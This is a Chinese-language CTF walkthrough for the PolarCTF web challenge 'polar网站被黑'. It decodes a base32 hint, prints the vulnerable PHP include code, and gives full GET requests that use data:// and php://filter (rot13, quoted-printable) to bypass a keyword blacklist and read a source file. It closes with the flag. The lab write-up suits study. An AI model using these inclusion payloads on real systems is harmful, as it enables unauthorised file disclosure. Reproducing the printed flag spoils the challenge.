polar网站被黑

polar网站被黑:500 分 5 Polar币

1.进入页面,发现页面的样式如图所示:

然后就去看他的源代码,使用开发者工具,dir扫一下

可以得到以下数据:

打开敏感网站发现没有可用信息

然后再hint这里发现了:F5XDAXZQNZSV6ZRRNZSF63JTF4======

开始去base64解码得到类似密码的东西发现用不上,然后base32得到:/n0_0ne_f1nd_m3/

访问

http://6f8ad1f4-e0ee-46a6-a4c3-2fab10fd6899.www.polarctf.com:8090/n0_0ne_f1nd_m3/进入这个页面

代码审计:<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>

这个代码传入了text和file两个参数

这个if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

说的是存在text这个参数然后这个参数读出来的内容是welcome to the 504sys就输出这个内容,也就是能够在页面看到welcome to the 504sys这个样式

然后if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>

这个代码就是一个正则表达,file文件有/flag|data|base|write|input/i",$file这样的字眼就会说echo "I am sorry but no way!";

绕过了这一步发现include($file); //imposible.php然后就可以从文件包含的思路解决了

这个题就是考察伪协议的知识:

构造payload1:?text=data://text/plain,welcome to the 504sys

其实只要用到了data://(写入数据的功能)对于后面这个text/plain不写也能看到welcome to the 504sys

payload2:

为啥文件包含可以使用伪协议这个办法呢:因为它可以直接读取文件的内容

之前习惯尝试用file=php://filter/read=convert.base64-encode/resource=imposible.php

但是这里不允许使用base字眼的采用以下方式:

read=string.rot13或者是read=convert.quoted-printable-encode

GET /n0_0ne_f1nd_m3/?text=data://text/plain,welcome%20to%20the%20504sys&file=php://filter/read=string.rot13/resource=imposible.php

或者是

GET /n0_0ne_f1nd_m3/?text=data://text/plain,welcome%20to%20the%20504sys&file=php://filter/read=convert.quoted-printable-encode/resource=imposible.php

最后都能得到flag:如图所示:flag{f46bf8522b91f67a02b81f9522f3d80b}

相关推荐
xiangpanf2 小时前
Laravel 10.x重磅升级:五大核心特性解析
android
robotx5 小时前
安卓线程相关
android
消失的旧时光-19435 小时前
Android 面试高频:JSON 文件、大数据存储与断电安全(从原理到工程实践)
android·面试·json
dalancon6 小时前
VSYNC 信号流程分析 (Android 14)
android
dalancon6 小时前
VSYNC 信号完整流程2
android
dalancon6 小时前
SurfaceFlinger 上帧后 releaseBuffer 完整流程分析
android
用户69371750013847 小时前
不卷AI速度,我卷自己的从容——北京程序员手记
android·前端·人工智能
程序员Android8 小时前
Android 刷新一帧流程trace拆解
android
墨狂之逸才8 小时前
解决 Android/Gradle 编译报错:Comparison method violates its general contract!
android
阿明的小蝴蝶9 小时前
记一次Gradle环境的编译问题与解决
android·前端·gradle